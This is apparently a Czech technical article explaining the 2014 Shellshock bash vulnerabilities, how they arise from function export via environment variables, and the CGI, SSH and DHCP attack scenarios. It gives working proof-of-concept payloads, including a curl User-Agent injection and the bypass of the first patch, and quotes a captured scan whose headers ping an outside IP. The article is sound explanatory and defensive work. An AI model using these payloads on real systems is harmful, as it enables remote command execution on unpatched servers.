Funkce, o které jsme nevěděli
Stejně jako v případě nedávného heartbleedu, jde o chybu ve funkci, kterou bash obsahuje velmi dlouho (přinejmenším od verze 1.14.0 z roku 1994; starší verze již nejsou na FTP), přestože o ní málokdo věděl. Konkrétně jde o možnost exportovat funkci tak, aby byla dostupná v podprocesu. Zadáte-li:
$ mojefunkce() {
> echo "Ahoj světe"
> }
$ export -f mojefunkce
bude vaše funkce exportována do podprocesů, takže spustíte-li následně podproces, například příkazem bash
, bude funkce dostupná:
$ bash
$ mojefunkce
Ahoj světe
$ exit
Není k dispozici mnoho kanálů, kterými by mohl shell tuto uživatelskou funkci předat, proto k předání používá proměnnou prostředí. Konkrétně volání export -f
mojefunkce
vytvoří v dětských procesech novou proměnnou prostředí shodného názvu, obsahující dvě kulaté závorky následované definicí funkce. Můžeme si to zkusit nasimulovat ručně:
$ druhafunkce="() { echo \"Ahoj druhý světe\"; }" bash
$ druhafunkce
Ahoj druhý světe
$ exit
Bash při svém spuštění projde všechny proměnné prostředí a najde-li nějakou, jejíž obsah začíná dvěma kulatými závorkami, vyhodnotí její obsah, čímž je funkce nadefinovaná i v novém shellu.
Jaký shell nejčastěji používáte?
Eval is evil
Tím se dostáváme k tradiční poučce, která se objevuje v každé příručce programování každého jazyka, který obsahuje funkci eval
. To je funkce, která umožňuje vyhodnotit své argumenty, jako by to byly příkazy. Tím se stává velmi nebezpečnou, zvláště pak, je-li jako její argument použit nedostatečně ošetřený vstup od uživatele. Ukažme si to na jednoduchém příkladu s hypotetickou funkcí, která spočítá uživatelem dodaný matematický výraz:
$ vyraz="1+1"
$ eval 'echo $(( '$vyraz' ))'
2
$ vyraz="1+1 )) ; echo HACKED ;#"
$ eval 'echo $(( '$vyraz' ))'
2
HACKED
Zranitelnost bashe používá zcela totožný mechanizmus. Během načítání proměnných prostředí se při načítání funkce nezastaví na konci definice, ale vyhodnocuje dále:
$ tretifunkce="() { :; }; echo HACKED" bash
HACKED
$ exit
Máme-li tedy možnost ovládat proměnné prostředí, můžeme donutit bash
spustit libovolný příkaz. Zranitelnost dostala označení CVE-2014–6271.
Útok první: CGI
Common Gateway Interface je historický standard, který poprvé změnil web ze statického obsahu na dynamický. Webový server s patřičným nastavením při požadavku na CGI skript takový skript spustí, informace o spojení spolu s klientskými hlavičkami nastaví jako proměnné prostředí, data od klienta pošle na standardní vstup CGI skriptu a očekává, že skript na standardní výstup vytiskne obsah, který má být poslán klientovi. Pojďme si zkusit napsat a spustit jednoduchý CGI skript, který vypíše IP adresu klienta:
$ mkdir cgi-bin
$ cat > cgi-bin/ip.sh <<EOF
> #!/bin/bash
>
> echo -e "Content-type: text/plain\r\n\r"
> echo -e "\${REMOTE_ADDR}"
> EOF
$ chmod +x cgi-bin/ip.sh
$ python3 -m http.server --cgi 8080
Nyní můžeme z jiného okna vyzkoušet správnou funkci příkazem curl
. A budeme-li chtít zneužít uvedenou zranitelnost, stačí jen trochu upravit třeba název prohlížeče:
$ curl localhost:8080/cgi-bin/ip.sh
127.0.0.1
$ curl localhost:8080/cgi-bin/ip.sh -A '() { :; }; echo HACKED >>/tmp/hack'
127.0.0.1
$ cat /tmp/hack
HACKED
V ohrožení jsou i PHP, Perl a další webové aplikace
Naprostá většina webových aplikací bash takto přímo nepoužívá, to ale neznamená, že nemohou být zranitelné. Stačí aby aplikace třeba v PHP v některém místě volala popen()
nebo system()
pro spuštění externích příkazů. Pokud se totiž aplikace nepostará o vyčištění prostředí, může škodlivá proměnná průchod PHP v klidu přečkat a zaútočit až v okamžiku, kdy kód v PHP zavolá (prostřednictvím bashe) externí příkaz. Týká se to ale naštěstí jen případů, kdy je webová aplikace propojena s web serverem prostřednictvím CGI, což se (mimo jiné z výkonnostních důvodů) příliš často nepoužívá.
Útok druhý: obcházení SSH omezení
Druhý snadno realizovaný útok se může týkat všech služeb, které k přístupu používaji SSH s omezením přístupu (příkladem budiž třeba Git repozitář). Takové služby obvykle vnutí uživateli (volbou ForceCommand
v OpenSSH) spuštění kontrolního skriptu, který zkontroluje obsah proměnné SSH_ORIGINAL_COMMAND
a uzná-li oprávněnost uživatelského požadavku, akci provede. Je-li tento kontrolní skript v bashi, je zneužití přímočaré, stačí jako příkaz použít výše uvedenou magickou sekvenci. Riziko se týká především „podomácku“ vyráběných kontrolních skriptů, nástroje jako Gitosis nebo Gitolite bash nejspíše nepoužívají.
Útok třetí: DHCP server s volbou navíc
Tento scénář je obzvláště pikantní: Přijdete do restaurace, připojíte svůj notebook k místní WiFi a… váš počítač je hacknut, a to dokonce s root oprávněním. Stačí k tomu DHCP server, který pošle speciálně upravenou konfigurační volbu. Bývá zvykem, že DHCP klient pro vlastní nastavení volá shell skripty a předává jim přijaté volby právě prostřednictvím prostředí. Pokud je jako shell použit zranitelný bash, útoku nic nebrání.
Krok stranou: Na neinteraktivní skripty se bash nehodí
Společným bodem popsaných scénářů vzdálené zranitelnosti je, že se týká neinteraktivních skriptů. Pro ty je použítí bashe často suboptimálním řešením, neboť bash obsahuje poměrně komplexní podporu interaktivní práce (například doplňování pomocí tabulátoru), které jsou pro neinteraktivní skripty zbytečné a jen zdržují načítání skriptu.
Proto také již před lety vznikl v Debianu odlehčený shell dash, který je uživatelsky nepřívětivý, ale za to mnohem menší a rychlejší. Podporuje standard POSIX, ne však již rozšíření, která jsou specifická pro bash. Skripty obsahující bashismy proto musí být upraveny. Zcela nezávisle na této konkrétní zranitelnosti však lze pro vývoj nových shell skriptů použití takovýchto odlehčených shellů jen doporučit.
Skenování internetu již probíhá
Netrvalo dlouho a po internetu se rozběhly první skeny snažící se odhalit tuto zranitelnost. Jeden takový zaznamenal i honeypot v síti CESNET:
GET / HTTP/1.0
Accept: */*
Cookie: () { :; }; ping -c 17 209.126.230.74
Host: () { :; }; ping -c 23 209.126.230.74
Referer: () { :; }; ping -c 11 209.126.230.74
User-Agent: shellshock-scan (http://blog.erratasec.com/2014/09/bash-shellshock-scan-of-internet.html)
Zajímavý je způsob „volání domů“ příkazem ping. Na odkazované adrese jsou pak k dispozici výsledky, podle kterých je zranitelných víc než tři tisíce serverů a to i přesto, že test probíhal na kořenovou URL a bez uvedení správné hlavičky Host:
. Dá se tedy očekávat, že skutečný počet zranitelných serverů bude mnohem vyšší.
Záplata až na druhý pokus
Současně se zveřejněním zranitelnosti byly k dispozici opravené verze bashe přinejmenším pro Debian Wheezy a RHEL. Tavis Ormandy ovšem na Twitteru poukázal na to, že první záplata neřešila problém zcela, stále bylo možné vložením nekompletní definice funkce zapsat libovolný obsah do libovolného souboru:
$ ctvrtafunkce='() { (a)=>\' bash -c '/tmp/hack echo HACKED'
bash: ctvrtafunkce: řádek 1: chyba syntaxe poblíž neočekávaného tokenu „=“
bash: ctvrtafunkce: řádek 1: `'
bash: chyba při importu definice „ctvrtafunkce“
$ cat /tmp/hack
HACKED
Tato zranitelnost dostala označení CVE-2014–7169 a její opravy jsou distribuovány od čtvrtečního odpoledne. Pokud jste tedy aktualizovali dříve, nezbývá než proces opakovat.
Budou se podobné incidenty opakovat?
Podle toho, že se ani na první pokus nepodařilo bezpečně odstranit zranitelnost, je možné usuzovat, že zdrojový kód bash možná není v úplně nejlepší kondici. Vlna zájmu, kterou nedávno odhalená zranitelnost přitáhla, spolu s obrovským množstvím vzdáleně zneužitelných serverů, s jejichž kompromitací se nepochybně brzy začne, jistě způsobí, že parsovací funkce bashe budou dále podrobně zkoumány. Můžeme jen doufat, že případné další problémy budou při svém objevení náhlášeny namísto zneužití.
Je však třeba si uvědomit, že kromě možných zranitelností shellu jako takového je řádově vyšší obecný problém zranitelnosti nejrůznějších shellových skriptů. Není totiž vůbec jednoduché napsat složitější skript, který se bezpečně popere s libovolným vstupem, včetně vstupních dat obsahujících mezery, zpětná lomítka, dolary a uvozovky. Z toho důvodu se obecně doporučuje složitější problémy řešit raději v pokročilejších skriptovacích jazycích, jako jsou Python nebo Perl.